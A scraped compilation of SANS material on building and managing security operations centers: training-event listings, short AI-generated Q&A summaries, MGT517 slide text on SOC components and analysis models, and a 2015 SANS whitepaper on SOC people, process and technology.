Jan 14, 2017 Live Event SANS SEC401 Hamburg (In English) Hamburg, DE Jan 16, 2017 - Jan 21, 2017 Live Event SANS Brussels Winter 2017 Brussels, BE Jan 16, 2017 - Jan 21, 2017 Live Event Cloud Security Summit San Francisco, CAUS Jan 17, 2017 - Jan 19, 2017 Live Event SANS Las Vegas 2017 Las Vegas, NVUS Jan 23, 2017 - Jan 30, 2017 Live Event Cyber Threat Intelligence Summit & Training Arlington, VAUS Jan 25, 2017 - Feb 01, 2017 Live Event SANS Dubai 2017 Dubai, AE Jan 28, 2017 - Feb 02, 2017 Live Event SANS Southern California - Anaheim 2017 Anaheim, CAUS Feb 06, 2017 - Feb 11, 2017 Live Event SANS Oslo 2017 Oslo, NO Feb 06, 2017 - Feb 11, 2017 Live Event RSA Conference 2017 San Francisco, CAUS Feb 12, 2017 - Feb 13, 2017 Live Event SANS Secure Japan 2017 Tokyo, JP Feb 13, 2017 - Feb 25, 2017 Live Event SANS Munich Winter 2017 Munich, DE Feb 13, 2017 - Feb 18, 2017 Live Event SANS San Francisco 2016 OnlineCAUS Nov 27, 2016 - Dec 02, 2016 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced Last Updated: May 12th, 2017 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Northern Virginia - Reston 2017 Reston, V AUS May 21, 2017 - May 26, 2017 Live Event SANS London May 2017 London, GB May 22, 2017 - May 27, 2017 Live Event SEC545: Cloud Security Architecture and Ops Atlanta, GAUS May 22, 2017 - May 26, 2017 Live Event SANS Melbourne 2017 Melbourne, AU May 22, 2017 - May 27, 2017 Live Event SANS Madrid 2017 Madrid, ES May 29, 2017 - Jun 03, 2017 Live Event SANS Stockholm 2017 Stockholm, SE May 29, 2017 - Jun 03, 2017 Live Event SANS Atlanta 2017 Atlanta, GAUS May 30, 2017 - Jun 04, 2017 Live Event SANS Houston 2017 Houston, TXUS Jun 05, 2017 - Jun 10, 2017 Live Event Security Operations Center Summit & Training Washington, DCUS Jun 05, 2017 - Jun 12, 2017 Live Event SANS San Francisco Summer 2017 San Francisco, CAUS Jun 05, 2017 - Jun 10, 2017 Live Event SANS Thailand 2017 Bangkok, TH Jun 12, 2017 - Jun 30, 2017 Live Event SANS Milan 2017 Milan, IT Jun 12, 2017 - Jun 17, 2017 Live Event SEC555: SIEM-Tactical Analytics San Diego, CAUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Charlotte 2017 Charlotte, NCUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Secure Europe 2017 Amsterdam, NL Jun 12, 2017 - Jun 20, 2017 Live Event SANS Rocky Mountain 2017 Denver, COUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Minneapolis 2017 Minneapolis, MNUS Jun 19, 2017 - Jun 24, 2017 Live Event SANS Philippines 2017 Manila, PH Jun 19, 2017 - Jun 24, 2017 Live Event DFIR Summit & Training 2017 Austin, TXUS Jun 22, 2017 - Jun 29, 2017 Live Event SANS Columbia, MD 2017 Columbia, MDUS Jun 26, 2017 - Jul 01, 2017 Live Event SANS Paris 2017 Paris, FR Jun 26, 2017 - Jul 01, 2017 Live Event SANS Cyber Defence Canberra 2017 Canberra, AU Jun 26, 2017 - Jul 08, 2017 Live Event SEC564:Red Team Ops San Diego, CAUS Jun 29, 2017 - Jun 30, 2017 Live Event SANS London July 2017 London, GB Jul 03, 2017 - Jul 08, 2017 Live Event Cyber Defence Japan 2017 Tokyo, JP Jul 05, 2017 - Jul 15, 2017 Live Event SANS Munich Summer 2017 Munich, DE Jul 10, 2017 - Jul 15, 2017 Live Event SANS ICS & Energy-Houston 2017 Houston, TXUS Jul 10, 2017 - Jul 15, 2017 Live Event SANS Los Angeles - Long Beach 2017 Long Beach, CAUS Jul 10, 2017 - Jul 15, 2017 Live Event SANS Cyber Defence Singapore 2017 Singapore, SG Jul 10, 2017 - Jul 15, 2017 Live Event SANSFIRE 2017 Washington, DCUS Jul 22, 2017 - Jul 29, 2017 Live Event Security Awareness Summit & Training 2017 Nashville, TNUS Jul 31, 2017 - Aug 09, 2017 Live Event SANS San Antonio 2017 San Antonio, TXUS Aug 06, 2017 - Aug 11, 2017 Live Event SANS Zurich 2017 OnlineCH May 15, 2017 - May 20, 2017 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=69 [![pdf](content/images/icons/pdf.svg) SANS - c-level support ensure high impact soc rollout.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZFhXSkRiRDhPb2M/view?usp=sharing) Sans C Level Support Ensure High Impact SOC Rollout Advice on gaining executive support for SOC initiatives. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary language gap between Security Leaders and C-Level Executives? A: Security leaders talk about 'Threats and Vulnerabilities', while C-Level executives care about 'Risk and Business Impact'. * Q: How should a SOC proposal be framed to gain C-Level approval? A: As a business enabler that protects revenue and brand reputation, rather than just a technical cost center. * Q: What specific metric is recommended to demonstrate SOC value to the board? A: The reduction in 'Dwell Time' and its correlation to reduced financial impact of incidents. * Q: What is the 'Business Impact Analysis' (BIA) role in SOC planning? A: To identify critical business processes and assets so the SOC can prioritize their protection. * Q: How can 'Compliance' be used as a lever for SOC funding? A: By mapping SOC capabilities directly to regulatory requirements (PCI, HIPAA, GDPR) that carry financial penalties for non-compliance. * Q: What is the 'Quick Win' strategy suggested for new SOCs? A: Focus on a specific, high-visibility use case (e.g., phishing or ransomware protection) to demonstrate immediate value. * Q: How should the SOC Manager communicate 'Risk'? A: Using a heat map or scorecard that shows risk reduction over time, rather than technical jargon. * Q: What is the danger of 'FUD' (Fear, Uncertainty, Doubt) in C-Level presentations? A: It creates fatigue and skepticism; data-driven risk assessments are more effective long-term. * Q: What is the 'OpEx vs. CapEx' consideration for SOCs? A: Understanding that building a SOC requires significant ongoing operational expense (staffing), not just an upfront capital expense (buying tools). * Q: How does the paper suggest handling 'Bad News' (incidents) with executives? A: By being transparent, focusing on the response effectiveness, and presenting a clear plan for preventing recurrence. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgemdvOXUwTWZKVUk/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgemdvOXUwTWZKVUk/view?usp=sharing]** SANS Management 517 | Managing Security Operations MGT517.3 Designing and Building a SOC: Management FundamentalsManaging Security Operations © 2016 Christopher Crowley | All Rights Reserved | Version A13_01 SANS Management 517 | Managing Security OperationsCultural Dimension Weltanschauung •Before delving into technical considerations today, let’s look at a cultural challenge of communication between people •Important because we need clear, concise communication during operation of a SOC and effective business alignment •“The collective programming of the mind distinguishing the members of one group or category of people from others”. SANS Management 517 | Managing Security OperationsCultural Dimension Weltanschauung •Power Distance Index (PDI) •Individualism versus Collectivism (IDV) •Masculinity versus Femininity (MAS) •Uncertainty Avoidance Index (UAI) •Long Term Orientation versus Short Term Normative Orientation (LTO) •Indulgence versus Restraint (IND)Geert Hofstede –National Culture SANS Management 517 | Managing Security OperationsCultural Dimension Weltanschauung •Means -oriented vs. Goal -oriented •Internally driven vs. Externally driven •Easygoing work discipline vs. Strict work discipline •Local vs. Professional •Open system vs. Closed system •Employee -oriented vs. Work -oriented •Degree of acceptance of leadership style •Degree of identification with your organizationGeert Hofstede –Organizational Culture SANS Management 517 | Managing Security OperationsPerforming Analysis Weltanschauung •Much of what the SOC does is provide insight into the operations of the organization, more specifically the information systems within the organization •To accomplish this, the participants in the SOC perform analysis, or the transformation of raw data into informed opinions on the status of the system and what should be done to resolve observed issuesSOC Develops Information from Data SANS Management 517 | Managing Security OperationsModels of Analysis Weltanschauung •Richards J. Heuer , Jr. -CIA analyst model to guide analysts in performing analysis •Published as Psychology of Intelligence Analysis three key elements covered: Our Mental Machinery Tools for Thinking Cognitive BiasesAnalysis of Competing Hypotheses SANS Management 517 | Managing Security OperationsModels of Analysis Weltanschauung •Hutchins, Cloppert , Amin published: Intelligence -Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains •Based on military targeting doctrine of: Find, Fix, Track, Target, Engage, and Assess •Intrusion Kill Chain is: Reconnaissance, Weaponization , Delivery, Exploitation, Installation, Command and Control, Actions on ObjectivesKill Chain SANS Management 517 | Managing Security Operations Models of Analysis Weltanschauung •Caltagirone , Pendergrast , Betz •The Diamond Model of Intrusion Analysis •All events are viewed with the elements: adversary, infrastructure, capability, and victim •Edge connected graphs of these nodes •Events are described by tuples with feature and confidence Diamond Model SANS Management 517 | Managing Security OperationsPerforming Analysis Weltanschauung •The three aforementioned models aren’t mutually exclusive. Use them all. •The diamond model described events can be mapped into Kill Chain sequences •Analysis of competing hypotheses should always be performed •Analysts within the SOC should strive for objectivity and work to diminish interference from personal biasWhich Model Should I Use? SANS Management 517 | Managing Security OperationsOperational Analysis Weltanschauung •Returning to the Hofstede Model of Organizational Culture, we can see how there may be an impact on the analysis output due to social pressures •For example, in an externally motivated organization, if a consulting firm is saying there should be a lot of compromises from a specific threat actor, analysis may be skewed to incorrectly attribute compromises to that threat actorOrganizational Culture Influences Analysis SANS Management 517 | Managing Security OperationsOperational Analysis Weltanschauung •Reward objectivity •Demonstrate effective suppression of cognitive bias in your own analysis •Understand and articulate your organization’s culture •Effectively navigate the politics and personalities to insulate the analysts from interfering cultural influence •Realize it’s all imperfect, and the system can compensate for the individual and cultural deficienciesSo What Do We Do? SANS Management 517 | Managing Security OperationsFunctional Components of SOC Components •We start by defining the functional capabilities a SOC is expected to perform •We will address (in forthcoming sections and days) Software and hardware to make a SOC Interactions between these capabilities Interaction from SOC functions to other parts of the business People and skillsets to make the SOC effective Processes to have a repeatable and effective operation SANS Management 517 | Managing Security Operations SOC / Command Center Components •The SOC is the command and control center for all activity related to security operations •Single point of entry for security related security requests ( like 911 for emergencies ) •Authority to direct response and notify constituents •Identification and de -confliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems SANS Management 517 | Managing Security OperationsNetwork Security Monitoring (NSM) Components •Enormously important capability •This entails watching the actions and communication of the information systems for unwanted activity •Many forms of network communication •Requires dedicated hardware, software, and specialized staff •Gigantic amounts of constantly changing data •Objective: fast and accurate detection of issues SANS Management 517 | Managing Security Operations Threat Intelligence Components •An insecure system won’t be compromised without a threat leveraging the vulnerability •By studying the threats to our environment, we can better prepare, detect, and respond •We have the home field advantage, use it! •Study methods used to target you, to better detect and defend •Objective: tactical and strategic advantage over adversaries SANS Management 517 | Managing Security Operations Incident Response Components •Incident Response is engaged after a problem detected by NSM or external notification •Strives to minimize the damage from the incident •Performs thorough analysis to determine extent of the incident •Leverages lessons learned from incidents to enhance defensibility of the organization •Objective: minimize impact of problems SANS Management 517 | Managing Security OperationsForensics Components •In support of Incident Response, we need to have specialized capabilities to assess details and determine the extent of the incident; proactively prevent others with rapid detection •We’ll discuss each of these types of forensics: Host Network Reverse Engineering e-Discovery •Objective: detailed data and event analysis for incident verification and impact assessment SANS Management 517 | Managing Security OperationsForensics -Host Components •Host Forensics studies data on individual systems – includes cloud, mobile devices and memory forensics Indicators of Compromise, used to scope intrusion Application data Operating system artifacts Logs •Objective: detailed analysis of events on systems of interest SANS Management 517 | Managing Security OperationsForensics -Network Components •Network Forensics studies network artifacts Switch/Router/Firewall Logs Proxy Logs Mail Logs … Logs Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised SANS Management 517 | Managing Security OperationsForensics –Reverse Engineering Components •RE is very difficult but incredibly useful Studies hardware or software Determines the capability of the item studied Frequently malware (software) analysis Also could be firmware, hardware, etc. •Objective: detailed analysis, determination of safety and intent of hardware or software in use in the organization SANS Management 517 | Managing Security OperationsForensics –e-Discovery Components •e-Discovery is a necessary capability in any organization Interfaces with Legal team to define objectives Leverages existing infrastructure to efficiently support collection Requires specialized expertise for retention of records Most organizations have obligation to support discovery For US Government, also entails Freedom of Information Act (FOIA) requests •Objective: Collect information assets in a reproducible and thorough fashion SANS Management 517 | Managing Security OperationsSelf-Assessment Components •Configuration Monitoring •Vulnerability Assessment •Pen Testing •Exercises •Objective: assess current state and organization capability to resist and recover when incidents occur SANS Management 517 | Managing Security OperationsConfiguration Monitoring Components •CM is the practice of approving change and detecting variation from approved baselines and configurations Change Control File Integrity Monitoring / Application Whitelisting Baseline and standard approved configurations Deviation authorization and tracking •Objective: monitor settings and change from specified baseline of settings SANS Management 517 | Managing Security OperationsVulnerability Assessment Components •Vulnerability Assessment is testing systems for known issues. •This may be weak configuration or missing patches. •Typically performed by vulnerability scanner Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify systems vulnerable to known flaws SANS Management 517 | Managing Security OperationsPenetration Testing Components •Pen Testing goes beyond vulnerability scans to model how an adversary would compromise a system and what is at risk •Time intensive, expertise required •Objective: determine risk of an information system by demonstrating impact of compromise and model adversary attack methods against a system SANS Management 517 | Managing Security OperationsExercises Components •Exercises model plausible scenarios and challenge the staff to follow the procedures appropriate to that scenario. •Very valuable, often neglected The culture of “too busy” frequently prevents exercises from occurring •Objective: assess staff readiness, as well as capability to follow defined procedures and improvise in the face of unanticipated issues SANS Management 517 | Managing Security OperationsIntroducing MGT517 •Managing Security Operations: Detection, Response, & Intelligence This class is intended to address the Design, Build, and Operation of Security Operations Centers •Two planned Beta runs: September 26 –30 in San Diego November 28 –December 2 in Washington DC •Contact Information chris@montance.com @CCrowMontance SANS Management 517 | Managing Security OperationsCourse Overview Overview of Class Section 1 -SOC Section 2 -SOC •SOC Fundamentals •SOC Components •Sizing and Scoping •SOC Program•Governance Structure •Process Engineering •T echnical Components Section 3 -SOC Section 4 -IR Section 5 -IR •People and Processes •Measurement andMetrics •Maturity •Process Development•Introduction •The Cloud •Incident Response –6 Steps •Creating IR Requirements •Training, Education, Awareness•Setting Up Operations •Managing Daily Operations •Legal and Regulatory Issues •APT-Tailored Response •ConclusionDesign & Build Operate & Mature SANS Management 517 | Managing Security Operations Designing and Building a SOC: Management Fundamentals Christopher Crowley @CCrowMontance SANS Management 517 | Managing Security Operations SANS Management 517 | Managing Security Operations --- ## Source: https://montance.com/questions.php?id=68 [![pdf](content/images/icons/pdf.svg) SANS - Designing and Building a SOC Management Fundamentals.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgemdvOXUwTWZKVUk/view?usp=sharing) Sans Designing And Building A SOC Management Fundamentals Core management principles for designing and running a SOC. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Steering Committee's' function in SOC governance? A: To provide strategic direction, resource allocation, and conflict resolution between the SOC and other IT/business units. * Q: How does the document define 'Situational Awareness' for a SOC Manager? A: The ability to know the current status of threats, the operational state of defenses, and the progress of active incidents at any given moment. * Q: What is the 'Staffing Calculation' formula for 24/7 coverage? A: It typically requires between 8 to 12 full-time equivalents (FTEs) to staff a single 24/7 seat, accounting for shifts, holidays, training, and sick leave. * Q: What is the 'Analyst Career Path' challenge? A: The difficulty in retaining talent because there is often no clear progression from Tier 1 analyst to senior roles within the SOC. * Q: What is the recommended frequency for 'metrics reporting' to different stakeholders? A: Daily/Weekly for technical operations, Monthly for management, and Quarterly for executive leadership. * Q: What is the 'Scope Creep' risk in SOC management? A: The tendency for the SOC to become the 'dumping ground' for general IT tasks (e.g., patching, user administration) that distract from the security mission. * Q: How should 'Shift Turnover' be conducted? A: Through a formal meeting and written log where outgoing analysts brief incoming analysts on active incidents and system status. * Q: What is the 'Authority' requirement for a SOC? A: The SOC must have the pre-authorized mandate to take containment actions (e.g., isolate a host) without seeking permission during a crisis. * Q: What is the role of 'Self-Assessment' in SOC management? A: Regularly testing SOC capabilities via red teaming or table-top exercises to identify gaps. * Q: What distinguishes 'Leadership' from 'Management' in a SOC? A: Management focuses on processes and metrics; Leadership focuses on vision, culture, and team morale. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgclBVeEVidkt5SWs/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgclBVeEVidkt5SWs/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Building a World-Class Security Operations Center: A Roadmap Explore how you can build a world-class security operations center (SOC) by focusing on the triad of people, process and technology. Copyright SANS Institute Author Retains Full Rights Building a World-Class Security Operations Center: A Roadmap ©2015 SANS™ InstituteA SANS Whitepaper Written by Alissa Torres May 2015 Sponsored by RSA SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap2 If you are reading this paper your most pressing concern undoubtedly is protecting your organization’s intellectual property and sensitive customer data. Highly visible breaches and attacks have brought an intense focus on organizations’ incident detection, investigation and mitigation capabilities. After all, if you can’t prevent a security incident, you had better be able to detect and respond to it quickly. But just increasing security spending does not guarantee more protection. Achieving the goal of better security depends on how that budget is allocated; what people, procedures and infrastructure are put into place; and how the security program is managed and optimized over the long term. For organizations without a formalized incident-handling capability, the creation from scratch of a security operations center that enables centralized visibility, alerting and investigation can be a daunting task. But fortunately organizations don’t need a room full of security experts and an investment of millions of dollars in security systems to make progress here. In this paper we look at how to develop an effective security operations center (SOC) and provide a roadmap for continuously evolving this capability to keep pace with the tactics of the adversaries.Investing in Security Percentage of respondents to the 2014 SANS Incident Response Survey who reported that no portion of their organization’s security budget is currently allocated to incident response1 30% Creating the Roadmap Because you can’t build a world-class security operations center (SOC) overnight no matter how much money you are willing to invest, the task is more of a marathon than a sprint. Creating a plan for incremental phases of implementation is critical to success. But what goes into such a roadmap? What comes first and what next? The goal of planning should be to execute regular incremental improvements based on your completed gap analysis and to establish a series of prioritized milestones that lead the organization toward optimized security and improved incident detection and response. The gaps you uncover in that analysis can be translated into goals. Budget, personnel and cultural constraints require that new processes and technologies be implemented in stages. 1 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap3 Once you’ve identified what you need, what will work in your organization’s culture and the way to get there, it is important to realize that building a SOC requires collaboration and communication among multiple functions (people), disparate security products (technology), and varying processes and procedures (processes), as shown in Figure 1. People Your organization may have employees ready to step in to fill the role of incident responders and SOC analysts, or it may need to evaluate other options, such as outsourcing (via managed security service providers, or MSSPs) or contracting specialists to provide surge incident response (IR) support. For some security teams, a hybrid mix of these options works well. According to the 2014 SANS Incident Response survey,2 61% of respondents call upon surge staff to handle critical incidents and 58% have a dedicated response team. It is clear that organizations rarely cover incident response needs completely with in-house staff or completely outsource it. Regardless of your staffing structure, SOC staff must have the necessary training to deal with the constantly changing and often quite challenging job of a security analyst, incident investigator, subject matter expert or SOC manager (see Table 1). Figure 1. Building Blocks of a SOCSOCPeople Technology ProcessFormal Training Internal Training Endpoin tPreparation Identi/f_ication Containmen t EradicationRecove ryLessons LearnedNet/f_lo w Netw ork MonitoringForensicsIncident Detec tion/ Managemen t Threat IntelVendor-Speci/f_ic TrainingOn-the -Job Experienc eTriad of Security Operations: People, Process and TechnologyBuilding a Security Operations Center 2 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap4 Building a Security Operations Center (CONTINUED) Table 1. SOC Duties and Training Needs Job Title Duties Required Training Tier 1 Alert AnalystContinuously monitors the alert queue; triages security alerts; monitors health of security sensors and endpoints; collects data and context necessary to initiate Tier 2 work.Alert triage procedures; intrusion detection; network, security information and event management (SIEM) and host- based investigative training; and other tool-specific training. Certifications could include SANS SEC401: Security Essentials Bootcamp Style. Tier 2 Incident ResponderPerforms deep-dive incident analysis by correlating data from various sources; determines if a critical system or data set has been impacted; advises on remediation; provides support for new analytic methods for detecting threats. Advanced network forensics, host-based forensics, incident response procedures, log reviews, basic malware assessment, network forensics and threat intelligence. Certifications could include SANS SEC501: Advanced Security Essentials - Enterprise Defender; SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling. Tier 3 Subject Matter Expert/ HunterPossesses in-depth knowledge on network, endpoint, threat intelligence, forensics and malware reverse engineering, as well as the functioning of specific applications or underlying IT infrastructure; acts as an incident “hunter, ” not waiting for escalated incidents; closely involved in developing, tuning and implementing threat detection analytics.Advanced training on anomaly- detection; tool-specific training for data aggregation and analysis and threat intelligence. Certifications could include SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling; SANS SEC561: Intense Hands-on Pen Testing Skill Development; SANS FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques. SOC Manager Manages resources to include personnel, budget, shift scheduling and technology strategy to meet SLAs; communicates with management; serves as organizational point person for business-critical incidents; provides overall direction for the SOC and input to the overall security strategy.Project management, incident response management training, general people management skills. Certifications include CISSP , CISA, CISM or CGEIT. SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap5 In addition to SOC analysts, a security operations center requires a ringmaster for its many moving parts. The SOC manager often fights fires, within and outside of the SOC. The SOC manager is responsible for prioritizing work and organizing resources with the ultimate goal of detecting, investigating and mitigating incidents that could impact the business. A typical SOC organization is illustrated in Figure 2. The SOC manager should develop a workflow model and implement standardized operating procedures (SOPs) for the incident-handling process that guides analysts through triage and response procedures. Processes Defining repeatable incident triage and investigation processes standardizes the actions a SOC analyst takes and ensures no important tasks fall through the cracks. By creating repeatable incident management workflow, team members’ responsibilities and actions from the creation of an alert and initial Tier 1 evaluation to escalation to Tier 2 or Tier 3 personnel are defined. Based on the workflow, resources can be effectively allocated. One of the most frequently used incident response process models is the DOE/CIAC model, which consists of six stages: preparation, identification, containment, eradication, recovery and lessons learned. In addition, NIST SP800-61 Revision 2, “Computer Security Incident Handling Guide”3 provides excellent guidance in developing IR procedures.Building a Security Operations Center (CONTINUED) Figure 2. Organization of the SOC3RD LEVEL2ND LEVEL1ST LEVEL SOC ManagerSME/ Hunter (Threat Intel) SME/ Hunter (Endpoint )SME/ Hunter (Malware RE )SME/ Hunter (Network) Tier 2 Incident Responde rTier 2 Incident Responde r Tier 1 Alert AnalystTier 1 Alert Analyst Frontline sTier 1 Alert AnalystFrontline sTier 1 Alert AnalystSecurity Operations Center: Organization Chart 3 http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP .800-61r2.pdf SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap6 Technology An enterprisewide data collection, aggregation, detection, analytic and management solution is the core technology of a successful SOC. An effective security monitoring system incorporates data gathered from the continuous monitoring of endpoints (PCs, laptops, mobile devices and servers) as well as networks and log and event sources. With the benefit of network, log and endpoint data gathered prior to and during the incident, SOC analysts can immediately pivot from using the security monitoring system as a detective tool to using it as an investigative tool, reviewing suspicious activities that make up the present incident, and even as a tool to manage the response to an incident or breach. Compatibility of technologies is imperative, and data silos are bad—particularly if an organization has an existing security monitoring solution (SIEM, endpoint, network or other) and wants to incorporate that tool’s reporting into the incident management solution (see Figure 3). Adding Context to Security Incidents The incorporation of threat intelligence, asset, identity and other context information is another way that an effective enterprise security monitoring solution can aid the SOC analyst’s investigative process. Often, an alert is associated with network or host-based activity and, initially, may contain only the suspicious endpoint’s IP address. In order for Network Flows Network TrafficSecurity Events Identity/ Asset ContextEndpoint Data System LogsThreat Intel Feeds SECURITY MONIT ORING SYSTEM Figure 3. Compatible Technologies Aid DetectionData Aggregation for Improved Incident Handling Visibility. By centralizing these various sources of data into a security monitoring system, the SOC gains actionable insight into possible anomalies indicative of threat activity. Action. Based on findings, automated and manual interventions can be made to include patching, firewall modification, system quarantine or reimage, and credential revocation.Analysis. Security operations analysts can analyze data from various sources and further interrogate and triage devices of interest to scope an incident. Building a Security Operations Center (CONTINUED) SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap7 the SOC analyst to investigate the system in question, the analyst generally needs other information, such as the owner and hostname of the machine or DHCP-sourced records for mapping IP and host information at the time of the alert. If the security monitoring system incorporates asset and identity information, it provides a huge advantage in time and analyst effort, not to mention key factors the analyst can use to prioritize the security incident—generally speaking, higher-value business assets should be prioritized over lower-value assets. Defining Normal Through Baselining The ability to create a baseline of activity for users, applications, infrastructure, network and other systems, establishing what normal looks like, is one advantage of aggregated data collected from various enterprise sources. Armed with the definition of “normal, ” detecting suspicious behavior—activities that are in some way outside of the norm— becomes easier. A properly baselined and configured security monitoring system sends out actionable alerts that can be trusted and often automatically prioritized before getting to the Tier 1 analyst.4 However, according to the SANS 2014 Log Management Survey, one of the top challenges in utilizing log data cited by respondents is the inability to discern normal from suspicious activity.5 The lack of such a baseline is a common obstacle organizations face in implementing an enterprise security monitoring system. A best practice is to use platforms that can build baselines by monitoring network and endpoint activity for a period of time to help determine was “normal” looks like and then provide the capability to set event thresholds as key alert drivers. When an unexpected behavior or deviation of normal activity is detected, the platform creates an alert, indicating further investigation is warranted. Threat Intelligence Mature SOCs continually develop the capability to consume and leverage threat intelligence from their past incidents and from information-sharing sources, such as a specialized threat intelligence vendor, industry partners, the cybercrimes division of law enforcement, information-sharing organizations (such as ISACs), or their security monitoring technology vendors. According to the 2015 SANS Cyberthreat Intelligence (CTI) Survey, 69% of respondents reported that their organization implemented some cyberthreat intelligence capability, with 27% indicating that their teams fully embrace the concept of CTI and integrated response procedures across systems and staff.7 A security monitoring system’s capability to operationalize threat intelligence and use it to help spot patterns in endpoint, log and network data, as well as associate anomalies Building a Security Operations Center (CONTINUED) 4 www.sans.org/reading-room/whitepapers/analyst/benchmarking-security-information-event-management-siem-34755 5 www.sans.org/reading-room/whitepapers/analyst/ninth-log-management-survey-report-35497 6 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 7 www.sans.org/webcasts/cyberthreat-intelligence-how-1-definitions-tools-standards-99052Percentage of respondents to the 2014 SANS Incident Response Survey6 who cited “Little visibility into endpoints/ system configurations and vulnerabilities” as an obstacle for incident response efficiency 52% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap8 with past alerts, incidents or attacks, can enhance an organization’s capability to detect a compromised system or user prior to it exhibiting the characteristics of a breach. In fact, 55% of the respondents of the CTI Survey are currently using a centralized security management system to aggregate, analyze and operationalize their CTI. Obstacles to Efficient SOC Incident Handling To achieve efficient incident handling, the SOC must avoid bottlenecks in the IR process that moves incidents through Tier 1, into Tier 2, and finally through Tier 3. Bottlenecks can occur due to too much “white noise, ” alerts of little consequence or false-positives that lead to analyst “alert fatigue. ” This phenomenon is a common experience among responders, as seen in the 2014 SANS Incident Response Survey results, where 15% reported responding to more than 20 false-positive alarms originally classified as incidents.8 When choosing an enterprise security monitoring tool, look for such features as alert threshold customization and the ability to combine many alerts into a single incident. Also when incidents include additional context, analysts can triage them more quickly, reducing the layers of evaluation that must take place before an issue can be confirmed and quickly mitigated. Building a Security Operations Center (CONTINUED) 8 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 9 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342Percentage of respondents to the 2014 SANS Incident Response Survey9 who identified false alarms as one of the types of incidents they are responding to 66% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap9 Summary As you tackle the challenge of building a security operations center (SOC), your ability to anticipate common obstacles will facilitate smooth startup, build-out and maturation over time. Though each organization is unique in its current security posture, risk tolerance, expertise and budget, all share the goals of attempting to minimize and harden their attack surface and swiftly detecting, prioritizing and investigating security incidents when they occur. Working within the constraints of your organization, while pushing the boundaries and striving to achieve its critical security mission, your SOC can be a critical and successful venture—and a key contributor to your organization’s continuously improving security posture. For a more graphic view of building a SOC, be sure to check out the related infographic . SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap10 About the Author Sponsor SANS would like to thank this paper’s sponsor:Alissa Torres is a certified SANS instructor specializing in advanced computer forensics and incident response. Her industry experience includes serving in the trenches as an incident handler and working on an internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic and corporate environments, and she holds a bachelor’s degree from University of Virginia and a master’s from University of Maryland in information technology. Alissa has served as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering incident response and network basics to security professionals entering the forensics community. In addition to being a GIAC Certified Forensic Analyst (GCFA), she holds the GCFE, GPEN, CISSP , EnCE, CFCE, MCT and CTT+. Last Updated: April 29th, 2015 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Security West 2015 San Diego, CAUS May 03, 2015 - May 12, 2015 Live Event SANS Secure India 2015 Bangalore, IN May 04, 2015 - May 23, 2015 Live Event SANS Secure Europe 2015 Amsterdam, NL May 05, 2015 - May 23, 2015 Live Event SANS/NH-ISAC Healthcare Cybersecurity Summit Atlanta, GAUS May 12, 2015 - May 19, 2015 Live Event SANS Melbourne 2015 Melbourne, AU May 18, 2015 - May 23, 2015 Live Event SANS Pen Test Austin 2015 Austin, TXUS May 18, 2015 - May 23, 2015 Live Event SANS Secure Thailand 2015 Bangkok, TH May 25, 2015 - May 30, 2015 Live Event SANS ICS Security Training - Houston Houston, TXUS Jun 01, 2015 - Jun 05, 2015 Live Event SANS ICS410 Vienna in Association with IAEA Vienna, AT Jun 06, 2015 - Jun 10, 2015 Live Event SANS Dublin 2015 Dublin, IE Jun 08, 2015 - Jun 13, 2015 Live Event SANSFIRE 2015 Baltimore, MDUS Jun 13, 2015 - Jun 20, 2015 Live Event SANS Rocky Mountain 2015 Denver, COUS Jun 22, 2015 - Jun 27, 2015 Live Event SANS Pen Test Berlin 2015 Berlin, DE Jun 22, 2015 - Jun 27, 